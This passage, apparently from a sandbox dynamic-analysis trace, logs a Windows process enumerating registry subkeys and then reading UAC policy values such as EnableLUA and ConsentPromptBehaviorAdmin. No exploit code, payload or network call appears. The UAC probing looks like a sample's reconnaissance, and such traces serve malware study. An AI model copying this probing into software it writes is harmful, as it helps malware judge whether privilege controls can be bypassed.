lpMultiByteStr=0x38c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0xc, lpName=0x38b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0xd, lpName=0x38b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x38c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0xe, lpName=0x38b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x38b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x38c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x38b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.189] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0028.189] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x38b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x38b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x38b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x38c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x38b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x38b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x38c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x38b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x38c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0028.190] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x38b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x38b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x38c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x38b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x38b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x38c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x38b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x38c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x38b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x38b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x38c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0028.191] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x38b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0028.191] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x38c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x38b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x38b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x38c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x38b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x38c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x38b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x38b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x38c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x38b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x38c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0028.192] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x38b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0028.192] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x38c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0028.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x38b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0028.193] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x38b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x38c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0028.193] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0028.193] RegCloseKey (hKey=0x34) returned 0x0 [0028.193] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x38b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0028.193] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x38b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x38c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0028.193] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x38b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x38c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0028.193] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x38b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0028.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x38c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0028.194] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x38b930, cchName=0x104 | out: lpName="System") returned 0x0 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x38c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0028.194] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0028.194] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b930) returned 1 [0028.194] RegCloseKey (hKey=0x90) returned 0x0 [0028.194] RtlFreeHeap (HeapHandle=0x380000, Flags=0x0, BaseAddress=0x38b860) returned 1 [0028.194] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.195] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | 